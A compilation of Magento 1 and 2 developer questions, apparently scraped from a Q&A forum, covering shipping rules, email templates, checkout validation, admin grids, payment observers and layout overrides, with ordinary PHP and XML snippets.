I have issue in magento 2.3.6 upload image from admin > content > pages use wysiwyg
any one getting this type of error in admin
https://prnt.sc/vbz9ym


texts: Magento 2.3.2 issue after create customer mail sending in multiple website

texts:
Hi,
i setup multiple website with sub folder method.
In First website all working fine but in second website customer email
notification did't work and shows 500 internal server error.
this issue caused in local environment.


texts: Setting up custom Shipping method based on Weight & Distance

texts:
I have been developing on the Magento platform for quite some time but have now come to the part of actually getting everything setup to go live!

I am very confused about how to setup custom shipping methods in Magento since we will be using three different carriers - Royal Mail, DPD/Interlink and FastWay(Ireland). Also, I am not at all sure where and how to add tracking numbers to the invoices for customers..?

I would like to setup the shipping methods based on parcel weight & destination but for products that ship to Ireland I need to send them using FastWay only. In addition, if orders are placed before 2pm they will be shipped the same day but I am not sure how to setup any of these rules and I have found myself looking and dozens and dozens of extensions but none seem to offer a solution. I'm going round and round in circles!

I have already implemented an ERP solution to handle order processing in the backend but how do I setup any custom shipping methods for the frontend?

I am also using MetaPack to print shipping lables.

I would be interested to know if anyone else has struggled with any of the above to please lend me some friendly advice on how to get past this issue...


texts: Too many redirects - Magento administartion Categories page

texts:
Visiting Catalog > Inventory > Products in magento administration ends to a page with ERR_TOO_MANY_REDIRECTS error message.

Here's a screenshot from browser console.

I have tried to clear browser cache and cookies.

This happens only in Categories page.

The issue appeared after migrating product data from magento1 website.

How can I fix it?


texts:
We're using Magento 1.8.1.0 and Amasty FPC 1.6.10.
I'm attempting to holepunch a small part of a .phtml template (in this case, it's the defaule page\html\header.phtml template), but I am having trouble finding any instructions on how to do so.

According to this documentation, there are ways to holepunch custom blocks, blocks w/ ajax, and CMS blocks, but nothing about how to do it when blocks aren't involved.

Any help would be much appreciated.


texts: How to to add the Purchase Order Number next to the normal Magento order id on all email templates

texts:
How to to add the Purchase Order Number next to the normal Magento order id on all sales email templates as well.
I try this but not working any idea for that invoice mail templaes
Please check screen sort.

app/code/vendor/module/etc/di.xml

<preference type="Magento\Sales\Model\Order\Email\Sender\InvoiceSender" for="vendor\module\Model\Order\Email\Sender\InvoiceSender" />

app/code/vendor/module/Model/Order/Email/Sender/InvoiceSender.php

'purchase_order_number' => $order->getPayment()->getPoNumber(),

app/code/vendor/module/view/frontend/email/invoice_new.html

<h1{{trans 'Po Number'}}&nbsp;{{var purchase_order_number|raw}}</h1>


texts: RemoveLinkByName doesn't work to remove links in customer dashboard - Magento 1.9

texts:
I want to remove some links in customer dashboard but the removeLinkByName doesn't work for me, Where i can find the name of these links ?  here is my code:

local.xml:

<customer_account>
    <reference name="customer_account_navigation">
          <remove name="sale.reorder.sidebar"></remove>
          <action method="removeLinkByName"><name>downloadable_products</name></action>
    </reference>
</customer_account>

The error:

Invalid method Mage_Customer_Block_Account_Navigation::removeLinkByName(Array
(
    [0] => downloadable_products
)
)


texts:
When a customer creates an order in Magento with lets say the following products:

Product A - 5 x
Product B - 5 x

Product A I have in stock and I want to ship this now. How can I create a different packing slip, and invoice for it. And later, create a packing slip, and invoice for Product B.

Im using Magento 1.7.0.2


texts: How to move product data to another website view

texts:
I need to show the products from my Main website to my second website.
What i am doing right now is i check the second website checkbox under product catalog tab "Websites". I have thousand of products and it means i need to check it one by one. Is there easiest way to do this in magento? or what is the database table that i need to update. I already update "catalog_product_website" and it showing in the backend but it is now showing on my frontend. Please help


texts: How to change product image size in Magento 2

texts: In the gird view of a category I want to reduce the number of products per ROW from 4 to 3, and I want to increase the image size there ... how can I do that?


texts: Stock not reduce after placed the order in Magento 2 after enabling MSI

texts:
As I mentioned in the question, I enabled the MSI module in my Magento 2 store. Product Qty is not reducing from the stock until I complete the shipment.
Is there any way to reduce the product Qty once placed the order?


texts:
I want that that, when I navigate to

myStore.com

the displayed contents are actually the ones of

myStore.com/subdirectory

but without changing the URL.

I tried different configurations of .htaccess but no one of them seems to work.

The reason why I need that is because I put my store in the server under www/subdirectory instead than in www directly. Which is the usual way to proceed? I did it this way because I want to keep my directories clean.

Any ideas on that? Any help is much appreciated.


texts: Magento 2.2 Input field validation on Checkout page

texts:
In /vendor/magento/module-checkout/Block/Checkout/LayoutProcessor.php, I can find blow code (getBillingAddressComponent), which is used to validate the billing address input fields, and I can change the max/min input length to the value I wanted and it will work on checkout page.

I would like to do the same validation for shipping address. but I can't find the function like getShippingAddressComponent? How / Where can I edit valications for shipping address input fields?

   private function getBillingAddressComponent($paymentCode, $elements)
    {
        return [
            'component' => 'Magento_Checkout/js/view/billing-address',
            'displayArea' => 'billing-address-form-' . $paymentCode,
            'provider' => 'checkoutProvider',
            'deps' => 'checkoutProvider',
            'dataScopePrefix' => 'billingAddress' . $paymentCode,
            'sortOrder' => 1,
            'children' => [
                'form-fields' => [
                    'component' => 'uiComponent',
                    'displayArea' => 'additional-fieldsets',
                    'children' => $this->merger->merge(
                        $elements,
                        'checkoutProvider',
                        'billingAddress' . $paymentCode,
                        [
                            'country_id' => [
                                'sortOrder' => 115,
                            ],
                            'region' => [
                                'visible' => false,
                            ],
                            'region_id' => [
                                'component' => 'Magento_Ui/js/form/element/region',
                                'config' => [
                                    'template' => 'ui/form/field',
                                    'elementTmpl' => 'ui/form/element/select',
                                    'customEntry' => 'billingAddress' . $paymentCode . '.region',
                                ],
                                'validation' => [
                                    'required-entry' => true,
                                ],
                                'filterBy' => [
                                    'target' => '${ $.provider }:${ $.parentScope }.country_id',
                                    'field' => 'country_id',
                                ],
                            ],
                            'postcode' => [
                                'component' => 'Magento_Ui/js/form/element/post-code',
                                'validation' => [
                                    'required-entry' => false,
                                ],
                            ],
                            'company' => [
                                'validation' => [
                                    'max_text_length' => 5,
                                ],
                            ],
                            'fax' => [
                                'validation' => [
                                    'min_text_length' => 0,
                                ],
                            ],
                            'telephone' => [
                                'config' => [
                                    'tooltip' => [
                                        'description' => __('For delivery questions.'),
                                    ],
                                ],
                            ],
                        ]
                    ),
                ],
            ],
        ];
    }


texts: Magento 2 : How to Fetch CMS Page Content Using Search

texts:
I want to fetch cms page content using Search.?

If anyone have any idea related to CMS Pages Content Search.

Can anyone help me?


texts:
I am in a situation, where I need to display an email_address1 in grid, and during export have to use other one (email_address2).
For this I have added two columns in grid, with email_address1 is visible in grid and with email_address2 will not, as shown

        $this->addColumn('customer_name', array(
            'header' => Mage::helper('sales')->__('Customer'),
            'index' => 'email_address1',
            'width' => '60',
            'type' => 'text',
            'filter_index' => 'email_address1'
        ));

        $this->addColumn('customer_name_ordered', array(
            'header' => Mage::helper('sales')->__('Customer'),
            'index' => 'email_address2',
            'column_css_class'=>'no-display',
            'header_css_class'=>'no-display',
            'width' => '60',
            'type' => 'text',
            'filter_index' => 'email_address2'
        ));

During export (csv or xml), both columns are being exported, how can I stop column with email_address1 from being exported, or please suggest an other solution.

My export action for CSV is like

   public function exportCsvAction() {
        $fileName = 'sales_order_items.csv';
        $content = $this->getLayout()->createBlock('salesorderitemgrid/adminhtml_order_items_grid')->getCsv();

        $this->_sendUploadResponse($fileName, $content);
    }


texts:
I have existing magento 1.9.0.1 running on Nginx.
it is possible to listen API on another subdomain?

e.g. http://api.example-e.com point to api on www.example-e.com/api/soap/?wsdl=1

I have try before using server listener, but the soap url it always point to www.example-e.com/api/soap/?wsdl=1

this is response login function

         WSDL
         SOAP-ERROR: Parsing WSDL: Couldn't load from 'http://www.example-e.com/index.php/api/soap/index/?wsdl=1' : Premature end of data in tag html line 4

Any suggestion?


texts:
You know how you've got;

$tempProduct->setData('price', 9.99);
$tempProduct->getResource()->saveAttribute($tempProduct,'price');

I want to do the same, except for stock;

$stockData = $tempProduct->getStockData();
$stockData['qty'] = 0;
$stockData['is_in_stock'] = 0;
$stockData['manage_stock'] = 1;
$stockData['use_config_manage_stock'] = 0;
$tempProduct->setStockData($stockData);
$tempProduct->getResource()->saveAttribute($tempProduct,'quantity_and_stock_status');

This doesn't work, it breaks at

$tempProduct->getResource()->saveAttribute($tempProduct,'quantity_and_stock_status');

Note: I do not want to use $product-save() / $tempProduct->save()

What can I do?


texts: Get custom attribute in final price method

texts:
I would like to add a custom attribute (bum) in the final_price.phtml file.

I put this code:

It doesn't work, nothing appears. Can you help me please?

When I tried, <?php echo $_product->getBum(); I have this error message :

Fatal error: Call to a member function getBum() on null in /home/magento/www/app/design/frontend/Smartwave/porto/Magento_Catalog/templates/product/price/final_price.phtml on line 33

Thanks,


texts: I am trying to create a custom module with a block that should get the values of variables in view.xml. How can I do this?


texts: Accessing custom product attributes on custom form page (not product / category view page)

texts:
Is there any way of accessing the current / most recently viewed product on a custom contact form-type page?

For example, a user is on a product view page, then clicks a link which takes them to a page with a form. I'd like to pre-populate one field of the form with an attribute from the current product (the product page that led to this custom form page).


texts: Magento 2 installation setup wizard error

texts:
I have cloned Magento 2 using git clone https://github.com/Magento/Magento2.git
and installed using composer install command
Now I am facing some issue at the time of Setup wizard Add a database an Internal error is  displayed in access.log

This image shows access log entry which shows internal server error

My Server Setup

Ubuntu 18
PHP 7.2
Mysql 5


texts: Magento add position 999 when assign product to category

texts:
I'm using Magento 1.9.x and trying to change default position number of products.
Ex, when we assign product to category via product page i need to set it to 999 position

I changed default position field value of catalog_category_product table

But nothing changed.
i changed magento\app\code\core\Mage\Catalog\Model\Resource\Category.php
/**
         * Add products to category
         */
        if (!empty($insert)) {
            $data = array();
            foreach ($insert as $productId => $position) {
                $data[] = array(
                    'category_id' => (int)$id,
                    'product_id'  => (int)$productId,
                    'position'    =>  (int)$position ? (int)$position : 999
                );
            }
            //(int)$position
            $adapter->insertMultiple($this->_categoryProductTable, $data);
        }

but it only effect when adding products to category via category page.
anyone know a solution for this please, Thank You


texts: Magento 1.9.4 is not counting the current page in the categories

texts:
I discovered a weird issue with our Magento Shop. On categories and subcategories, Magento is not counting the current page you are in. When you go back from the product view, the user always returns to the first page of the category.
The URL also doesn't hold the current page value (category.html?p=2), like it should. My technical knowledge is very rusty, and it's been years since I worked with Magento, so I hope someone knows a quick fix.
Thank you!


texts: Magento 2 add custom layout in order email

texts:
I want to add a custom field in order email template.

I configured in total.phtml in public_html/theme_name/vendor/magento/module-sales/Block/Order. It's working.

I tried to configure in

items.phtml in public_html/theme_name/vendor/magento/module-sales/Block/Order. It had no effect.


texts: Override javascript with self-minified versions

texts:
We tried enabling the built-in minification and javascript merge functions, but some functionality of third-party modules/plugins stopped working. So something is in conflict between how magento is trying to bundle/merge the files and then minify them and how the modules themselves expect the javascript to behave.
The end result is, short of completely dissecting and re-building the third-party code and/or begging them to fix it, we have to disable the minification and/or the bundling to get these things to work properly or find replacements for them and go through the process of integrating, testing and replacing the functionality on our live website.

If we disable the built-in minification, the thought occurred to me that I might be able to minify individual files manually then test them individually for problems. But that would mean that either I have to modify the vendor tree in many cases (which breaks composer update capability) or find a way to override the javascript load preferences.

So how does one override what javascript is loaded? i.e. I want my version loaded instead of a module's version. Loading the other one also would not solve the problem of load times.


texts: How can I export more than 4000 products in Magento 2?

texts:
Im using Magento 2.3.3 and I want to export all of my product list(~4000 items). Its show this error for products export only.

Please help!!!!


texts: How to load Ui-component form data using another column instead of primary field Magento 2?

texts:
I have created a form using Ui-component it is working fine while adding new form & edit form.

But I would like to do customization as per my requirement. Default Magento Ui form data is display using primary field

 <argument name="primaryFieldName" xsi:type="string">tag_id</argument>

resource model.
but I would like to load & display data with another column. is it possible to do this kind of customization? if yes then how can I do this? and is it a valid way?

What i have tried :

I changed

  <argument name="primaryFieldName" xsi:type="string">tag_id</argument>

primary field to another field in Ui-component form, but it's give SQL error because Ui-component called resource model and resource model load data based on primary field.

Any help would be appreciated! Thanks.


texts: how to write the log file into database table?

texts:
I have a log file (payment.log) want to write into database table, is there any reference I can follow?
thanks!


texts: how is payment integration in Magento 2.3 different from Magento 1.9

texts:
I need to convert my module from 1.9 to 2.3.
Can anyone explain what are the differences between the two?


texts: Using magento price rules for custom price

texts:
I have a table with 2 fields: base_price, customer_group_id. Now I need to get price with TAX from the base price (without TAX) for current customer group. How can I do this?

Thanks.


texts: Change status according to payment method

texts:
I am working on magento 1.9

My requirement based on which payment method user use to make payment,

Status should change Automatically

Cash on delivery - when user place an order cash on delivery

Online Payment Received - when you through payment online, when the status is successful

Online Payment Failed - when the parameter does not match or any error from the payment gateway

Online Payment Cancelled - when user close the payment page or cancel the payment on their own

Cancelled - when user cancel the order from my account

I have had use magento inbuilt feature to change status and assign it to state, with system > order statuses. but the state new only describe the 'new order', i want to create state which tells order as 'new with payment method'

Please guide.

Regards
Lalit


texts: Magento 2.3 - How to achieve can_use_internal for Check/Money order Payment Method?

texts:
I want to show Check/Money order Payment Method only for admin not for the website customers, how to achieve using can_use_internal. I am just trying Event observer
Event Observer:
app/code/Gta/AdminPay/etc/events.xml
<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Event/etc/events.xsd">
    <event name="payment_method_is_active">
        <observer name="payment_only_for_admin" instance="\Gta\AdminPay\Observer\PaymentMethodAvailable" />
    </event>
</config>

app/code/Gta/AdminPay/etc/module.xml
<?xml version="1.0"?>
<config xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Module/etc/module.xsd">
    <module name="Gta_AdminPay" setup_version="1.0.1"></module>
</config>

app/code/Gta/AdminPay/Observer/PaymentMethodAvailable.php
<?php
namespace Gta\AdminPay\Observer;
use Magento\Framework\Event\ObserverInterface;
use Magento\Framework\App\Request\DataPersistorInterface;
use Magento\Framework\App\ObjectManager;

class PaymentMethodAvailable implements ObserverInterface
{
    public function __construct(\Psr\Log\LoggerInterface $logger
     )
    {
        $this->_logger = $logger;
    }

    public function execute(\Magento\Framework\Event\Observer $observer)
    {
        $result          = $observer->getEvent()->getResult();
        $method_instance = $observer->getEvent()->getMethodInstance();
        $quote           = $observer->getEvent()->getQuote();
        $this->_logger->info($method_instance->getCode());

        if ($method_instance->getCode() == 'checkmo') {
            $result->setData('is_available', false);
        }
        else
        {
            $result->setData('is_available', true);
        }
    }
}

app/code/Gta/AdminPay/registration.php
<?php
\Magento\Framework\Component\ComponentRegistrar::register(
    \Magento\Framework\Component\ComponentRegistrar::MODULE,
    'Gta_AdminPay',
    __DIR__
);

Note: Hiding both frontend & backend, how to visible only on the backend?
Source : Thank you Divya Sekar


texts: Bootstrap Magento in external script with a second database connection

texts:
I use below code to bootstrap Magento in an external script, which works. As an example it gets the name of a specific product.

Is it possible to connect to another Magento database (on the same server) from such a script? If yes, how would I do this? I tried several things but didn't got a working end result.

<?php

require_once '../app/Mage.php';
Mage::app();

$sku = 'product X';
$product = Mage::getModel('catalog/product')->loadByAttribute('sku', $sku);

var_dump($product->getName());


texts: How can I get the Canonical Product Url in list.phtml?

texts:
I need to get Canonical Product Url inside app/design/frontend/Vendor/Theme/Magento_Catalog/templates/product/list.phtml.
I tried to use:
$block->getProductUrl($_product)

and:
$_product->getUrl()

but I receive the product url with all the categories while the canonical url has no category. I'm using the Mageworx SEO extension if this can help.


texts: External site using Magento admin login not working

texts:
We have an external application which needs some functions/data from Magento for certain things. I decided to make the login utilise the magento admin accounts and roles. This works and I can login on our application, using the magento admin credentials.

Now I have the following code to check if the user is actually logged in or not:

if(!Mage::getSingleton('admin/session')->isLoggedIn())
{
    header('Location: /login.php');
}

This does the trick for the normal pages (returns 1 when logged in). However, if I call a script in the application using AJAX, when it goes over the same check, it returns nothing. I have tried to find why, but so far no success.

EDIT:
I have found out that it's not the AJAX request causing it. When I call the script manually, it still returns that it's not logged in. The initial script that checks it is in the root, and the script that doesn't work is in a subfolder.

EDIT 2: I have changed it's folder and even though it goes through the exact same process, it works in the new one. /magedata/script.php has logged in false, /pages/magedata/script.php has logged in true. I am confused.


texts: Magento2: Override Vendor Resource Model _afterLoad method

texts:
I am trying to override the _afterLoad methods of the vendor class Magento\Catalog\Model\ResourceModel\Product\Collection unsuccessfully.

In my custom module I edited the di.xml in this way

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <preference for="Magento\Catalog\Model\ResourceModel\Product\Collection"
                type="SG\Utilities\Model\ResourceModel\Product\Collection" />
</config>

Then I created the file app/code/SG/Utilities/Model/ResourceModel/Product/Collection.php

<?php

namespace SG\Utilities\Model\ResourceModel\Product;

class Collection extends \Magento\Catalog\Model\ResourceModel\Product\Collection
{

    protected function _afterLoad()
    {
        echo "called!";
        exit();
        if ($this->_addUrlRewrite) {
           $this->_addUrlRewrite();
        }

        $this->_prepareUrlDataObject();

        $this->_eventManager->dispatch('catalog_product_collection_load_after', ['collection' => $this]);

        return $this;
    }

}

but the _afterLoad method is never called. What am I doing wrong?


texts: How to include weight requirements for shipping method

texts: So for a certain shipping method in our store(called flat rate) we want to charge two different flat rates:  one for orders that weigh no more than 13 ounces, and another for orders between 14 ounces and 1 lb.  How do this in default shipping methods called flat rate in magento?  we're on 1.9.


texts: Only allow sku to be added if other product exists in cart

texts: I have a sku, let's call it sku100 for now. I only want that sku to be allowed to be added to cart if any other sku exists in the cart. I tried looking at shopping cart price rules but can't find any combinations to make this work. Any help would be appreciated.


texts: Magento 2 - checkout_cart_save_after item price update issue

texts:
I am using event - checkout_cart_save_after to update cart item's price.
But Item price is not getting updated.

Below is the code.

foreach ($observer->getCart()->getQuote()->getAllVisibleItems() as $item) {
    if ($item->getParentItem()) {
        $item = $item->getParentItem();
    }

    $item_price = $item->getProduct()->getFinalPrice();

    $price_for_tier = $item_price + 50;

    $item->setCustomPrice($price_for_tier);
    $item->setOriginalCustomPrice($price_for_tier);
    $item->getProduct()->setIsSuperMode(true);
}


texts: How to remove the list of actions in Grid Customer magento 2

texts: I want to remove those options in the list up the grid


texts: Error / maintenance page - custom theme implementation failure

texts:
So I followed, the magento error report and maintenance page instructions on how to customize the error / maintenance page `503.phtml', but it still displays and uses the default!

I created the custom theme errors/MyTheme
copied css and images folders.  Also copied 404.phtml, 503.phtml, page.phtml and report.phtml to errors/MyTheme from errors/default.

Now I have:
errors/MyTheme/css
errors/MyTheme/images
errors/MyTheme/404.phtml
errors/MyTheme/503.phtml
errors/MyTheme/page.phtml
errors/MyTheme/report.phtml

The errors/local.xml file looks as follow:

<?xml version="1.0" encoding="UTF-8"?>
 <config>
   <skin>MyTheme</skin>
   <report>
    <action>email</action>
    <subject>Store Debug Information</subject>
    <email_address>Mail@MyDomain.com</email_address>
    <trash>leave</trash>
   </report>
</config>

File Permission inside of Default folder:

File Permission inside MyTheme folder:

File Permission inside error/ folder:

No matter what I do it does not use contents of MyTheme!  Any ideas?


texts: Featured Products Code Feedback Needed: CE 1.7

texts:
The featured products code below seems to indicate that there is a method in admin to indicate which products should be included in the featured products displayed. Also that these products will be displayed randomly. I have been through all of the following areas in admin and found no method to specify that a product should be included:

• Manage Categories and all respective tabs available for an individual category
• Manage Products and all respective tabs available for an individual product
• Individual Product in admin that showed as featured on the home page
• System Configuration – sometimes tools are set up with some feature controls there
• Promotion
• CMS/Static Blocks
• CMS/Widgets

Am I misreading the code itself? Is there any are in admin I failed to review? Any feedback would be greatly appreciated.

class Jag_Featuredproduct_Block_Featuredproduct extends Mage_Catalog_Block_Product_Abstract

{

public function _prepareLayout()

{

    return parent::_prepareLayout();

}

public function getFeaturedproducts() {

    $storeId = Mage::app()->getStore()->getId();

    $p = Mage::getModel('catalog/product')->setStore($storeId)->getCollection()->addStoreFilter($storeId)

    ->addAttributeToSelect('*')

    //->addFieldToFilter('status',array('eq'=>1))

    ->addFieldToFilter('is_featured', array('eq' => 1));

     //$p->getSelect()->order('updated_at DESC');

     $p->getSelect()->order(new Zend_Db_Expr('RAND()'));

     $p->getSelect()->limit(8);

     //echo $p->getSelect()->__toString(); exit();

    return $p->getData();

}

}


texts:
I'm completely new to magento so probably a quite basic question.
I've got some code for my cms page like this:

Finder

Now I'm trying to get the functionality that when the user clicks on .ResponsiveTest  the div class .ResponsiveTest2 is toggled.

To do that I've added this code to the bottom of the page

This worked for a static block, but doesn't seem to work here.
I get the error:

  Uncaught TypeError: Cannot read property 'observe' of null

Can anybody help me with this?


texts: Run magento extension model inside php script

texts:
I have a custom extension model like this:

app/code/Namespace/Module/Model/Core.php

<?php
namespace Namespace\Module\Model;
class Core
{
  public function save($data){
    ....
  }
}

I want to create a PHP script inside the same Magento project folder like this:

script/test.php

$model = \app\code\Namespace\Module\Model\Core; //roughly like this
$data = 'test';
$model->save($data);

is it even possible to do this?


texts:
I am trying to remove prices for certain products in a group from being displayed. I created an interceptor with the afterIsSalable method to check for my condition and return false if met.

This works fine mostly however within grouped.phtml which shows all the grouped prices on the product view page the $_item->isSalable() returns true (when it should return false for this case).

If I grab the product like below it correctly returns false however:

    //test just to grab the product from the item id and check value:
    $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
    $_producttest = $objectManager->get('Magento\Catalog\Model\Product')->load($_item->getId());
    echo "DISP:" . $_producttest->isSalable(); //RETURNS FALSE

Compared with:

$_item->isSalable(); //RETURNS TRUE

Why would this be working like this?


texts: magento2 custom categories not displaying after overdiding

texts:
Why my custom module is not loading the categories.

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
<preference for="Magento\CatalogSearch\Controller\Result\Index" type="Vendor\Module\Controller\Result\Index" />
<preference for="Magento\Catalog\Controller\Category\View" type="Vendor\Module\Controller\Category\View" />
<preference for="Magento\CatalogSearch\Block\Result" type="Vendor\Module\Block\Result" />
<preference for="Magento\LayeredNavigation\Block\Navigation" type="Vendor\Module\Block\Navigation" />
<preference for="Magento\Catalog\Block\Product\ListProduct" type="Vendor\Module\Block\Product\ListProduct" />
<preference for="Magento\Catalog\Block\Product\ProductList\Toolbar" type="Vendor\Module\Block\Product\ProductList\Toolbar" />
<!-- <preference for="Magento\Catalog\Model\ResourceModel\Product\Collection" type="Vendor\Module\Model\ResourceModel\Product\Collection" /> -->

I get :   Where is the problem in overriding.


texts: What are the minimum server requirements for running Magento 2 smoother?

texts:
I am running few Magento 2 sites on different servers. As now M2 is depending on CLI for many things, we need to run commands in development mode for the installing/upgrading modules, installing themes and for deploying static content.

Recently I was using one economy normal server and where I was not able deploy content on live server and site breaks as I flush cache and try to deploy. This was just a default M2 setup with one theme installed.

I was using the same server for M1 and it was running fine.

Is there any specific server requirement for M2 with memory limit and other inputs for the server so next time before purchasing any hosting for M2 we can take care of it?

Definitely it will work with the higher configuration as per the link suggested. I want to know minimum configuration needed to running M2 without any memory and slow speed issue.


texts: Taking certification on Magento - Developer

texts:
I am thinking of taking Magento Developer certification. However, I am confused whether to go for it or wait till Magento 2 certification is released.

I am worrying whether if I take Magento 1 based certification, it won't have any market value if Magento 2 certification started. I am a bit confused. Any kind of advice will be much appreciated.


texts:
I added a custom row for fee on cart totals,

My code for knockout js binding is

and error coming

  Uncaught SyntaxError: Unable to parse bindings. Bindings value: if:
  !getValue().0  Message: Unexpected number
      at new Function ()
      at createBindingsStringEvaluator (knockout.js:2624)

anyone have any suggestions then please share.


texts: how to create order using magento web services in php

texts: Could you tell me how can I create Order using magento v2_soap api?


texts: Magento2: How can I format the price with two decimal places in the admin ui form field?

texts:
In Magento version 2.3.2 and 2.3.3, in a UI form, I have a field element input, of type price*:

<field formElement="input" name="price" sortOrder="60">
    <settings>
        <dataType>price</dataType>
        <label translate="true">Price</label>
        <dataScope>price</dataScope>
        <validation>
            <rule name="required-entry" xsi:type="boolean">false</rule>
        </validation>
        <additionalClasses>
            <class name="admin__field-medium">true</class>
        </additionalClasses>
    </settings>
</field>

Looks like this:

Here, I found documentation for field types, from UI form.

I want the price in that field to be displayed with two decimal places, “10.00” instead of “10.0000”.


texts:
I've tried many methods over the web including here too but still I can't seem to be able to get items currently in cart, tried checkout sessions cart model, cart helper nothing works, It sometimes work randomly (using same code), anyone have an idea about how can I get items in cart to place them in my custom module view.

Magento 2.2.4

Update :

Mahran/Whatsapp/Block/Display.php

<?php
namespace Mahran\Whatsapp\Block;

class Display extends \Magento\Framework\View\Element\Template {

public function __construct(
        \Magento\Backend\Block\Template\Context $context,
        array $data = [],
        \Magento\Checkout\Model\Session $session
    )
    {
        parent::__construct($context, $data);
        $this->checkoutSession = $session;
       }

public function yourFunction()
{
    echo 'Executed';
    $items = $this->checkoutSession->getQuote()->getAllVisibleItems();
    foreach($items as $item) {

      echo " Product Name :- ".$item->getName();
      echo " Product Name :- ".$item->getSku();
      // You can use $item->getData(), it'll return all the information of cart item
   }

   return $items;
}

}

And I am calling the function in the view phtml file.

Mahran/Whatsapp/view/frontend/templates/whatsappview.phtml

<?php

/**
 * @var \Mahran\Whatsapp\Block\Display $block
 */
$items = $block->yourFunction();
$string = "Items";
foreach($items as $item){
  $string = $string."*".$item['sku'];
}
?>

Checkout via WhatsApp

   <form id="whatsappForm" action="<?php echo $block->getFormAction() ?>" method="GET">

Please enter your information to confirm order via WhatsApp

    Fullname
    <input type="text" class="form-control" name="fullname" id="fullname" placeholder="Enter name" required="true">

    Address
    <input type="text" class="form-control" name="address" id="address" placeholder="Enter address" required="true">

    City
    <input type="text" class="form-control" name="city" id="city" placeholder="Enter city" required="true">

  <input type="hidden" name="message" id="message" value="<?php echo $string; ?>">
  <input type="hidden" name="utm_source" value="whatsapp">
  <input type="hidden" name="utm_medium" value="order">
    <button type="submit" class="btn btn-primary">Submit</button>

</form>


texts:
When i do a google search for our products and click the link redirects to /search/

instead of the actual product.

Some are working and some are not. I would appreciate some help on this issue.


texts:
I can't seem to work out whats going on with my Magento timezones.
All my orders in the backend are processed correctly and have the correct times. The backend reports however are out by 13hrs. I've tried all solutions that I've found without any success. For example any order processed at 11am will show in the reports as if it was ordered at 10pm . Which actually wont show up on the reports untill that time rolls over.

I've edited core fields Locale.php, mage.php, and config.xml to reflect the correct timezone and my server and magento are set to the correct time zone: NZDT = UTC +13hrs.

I've also seen in the email queue table in phpmyadmin show the created at date which is correct and a processed at date which is seems to save as UTC time not my locale time. This leads me to believe all the orders also are processed in UTC time for report output??

Does anyone know how the reports process dates or how I can edit this to reflect the correct timezone?


texts: Anchor Categories and Simple/Config Products

texts:
The Situation:
All my categories are anchor categories. I have a big category tree with several levels in my shop. I am using configurable products and associated simple products.

Sometimes I put a configurable product into a category (e.g. when simple products have different prices) but not its simple products.

Sometimes I put all the simple products into a category but not their parent configurable product.

The Issue:
Every product shows up in the right categories. In case a simple product is add to a category things on the product view page of that product are weird:

The Breadcrumb doesn't show the correct tree path (home / product-name, instead of all the categories)
The next-product button is not working.

Is this a bug? Can I solve this by rewriting a controller action?


texts: Integration ID is not specified or invalid when authorising

texts:
On a Magento v2.4.1 site, when trying to authorise an existing integration record, I'm receiving the error "Integration ID is not specified or is invalid".

I verified that the record does have an ID set - it's set to 0. I'm assuming that is a valid ID?
I'm not sure where to start with diagnosis unfortunately - can anyone suggest where to start looking?
Thanks!


texts:
How to upload custom images in single product page in magento 1.9?
With product add to cart


texts:
Im working on a Magento job and its been a while since I have dabbled in the dark arts. Im currently writing a small bit of script that will override the shipping methods on the checkout screen. You will have to excuse any mediocrity in my code as I said its been a while.

So I have two files:

app/code/local/ClarkStudios/Shipmentfilter/etc/config.xml

<global>
    <blocks>
        <checkout>
            <rewrite>
                <onepage_shipping_method_available>ClarkStudios_Shipmentfilter_Block_Onepage_Shipping_Method_Available</onepage_shipping_method_available>
            </rewrite>
        </checkout>
    </blocks>
</global>

app/code/local/ClarkStudios/Shipmentfilter/Block/Onepage/Shipping/Method/Available.php

class ClarkStudios_Shipmentfilter_Block_Onepage_Shipping_Method_Available extends Mage_Checkout_Block_Onepage_Shipping_Method_Available
{
    public function getShippingRates()
    {
        die('HAHAHAHAHAH!');

         $rates = parent::getShippingRates();

         $two_kg_array = array('AU','US','CA','BR','VE');
         $quote = Mage::getSingleton('checkout/session')->getQuote();
         $shipping_country = $this->getQuote()->getShippingAddress()->getCountry();
         $weight = $quote->getShippingAddress()->getWeight();
         if( in_array( $shipping_country, $two_kg_array ) && $weight > 2 ) {
            $rates = array();
         }

         if( !in_array( $shipping_country, $two_kg_array ) && $weight > 30 ) {
            $rates = array();
         }

        return $rates;
    }
}

I cant seem to get the die to fire which says that Magento is not recognising my block rewrite. I have probably done something fundamentally wrong here but a hand held in the right direction would be much appreciated.

I should probably point out that I am trying to change what shipping methods appear on the One Page Checkout page based on the weight of the cart. For starters I just want it to fire the die function so I know its working. I have flushed the cache also.


texts: How to set number of columns in category listing for magento 2

texts:
I want to display 4 columns in the category listing for Magento 2. Means Now products showing 3 columns, Need to change 3 to 4 so Product will show like below

Before

Product-1 | Product-2 | Product-3
Product-4 | Product-5 | Product-6

Need After

Product-1 | Product-2 | Product-3 |Product-4
Product-5 | Product-6 | Product-7 | Product-8


texts: Magento2 How to remove "You can create an account after checkout" in checkout page

texts: I want to remove only text on checkout page "You can create an account after checkout"


texts: Fedex Shipping method is not showing up on frontend

texts: I obtained the key, password, account id and meter number from FedEx and then enabled FedEx shipping method from Magento backend using that information. But After Adding the product into cart, FedEx shipping method is not showing up on frontend. How can i resolve this problem?


texts: No shipping method listed while editing order from admin in magento1.9

texts:
From admin when I go to

  Orders -> click on any order -> when opened

it has EDIT option, Add item, update items and Qty

when u submit order than showing error "shipping method must be specified"


texts: Custom Module Layout Not Working in magento 2

texts:
I added custom link in header tab example chat, if i click this link move one custom form, but, its only show only 1column layout, form not showing. what I miss this code.

This is my layout File:

<?xml version="1.0"?>

 <page layout="1column" xmlns:xsi="http://www.w3.org/2001/XMLSchema-  instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">

    <referenceContainer name="content">
